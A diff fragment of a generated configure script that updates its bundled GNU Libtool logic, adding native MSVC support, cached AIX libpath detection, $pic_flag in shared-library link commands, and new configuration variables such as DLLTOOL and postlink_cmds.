-@@ -9265,22 +9780,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9292,7 +9814,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if test "${lt_cv_aix_libpath_+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9305,22 +9833,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9365,20 +9900,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9439,7 +10017,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9447,7 +10025,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9463,7 +10041,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9487,10 +10065,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9569,23 +10147,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if test "${lt_cv_irix_exported_symbol+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9670,7 +10261,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9689,9 +10280,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10267,8 +10858,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10301,13 +10893,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10399,7 +11049,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11239,10 +11889,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11345,10 +11995,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -13314,13 +13964,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -13335,14 +13992,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -13375,12 +14035,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -13435,8 +14095,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -13446,12 +14111,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -13467,7 +14134,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -13503,6 +14169,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -14268,7 +14935,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -14371,19 +15039,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -14413,6 +15104,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
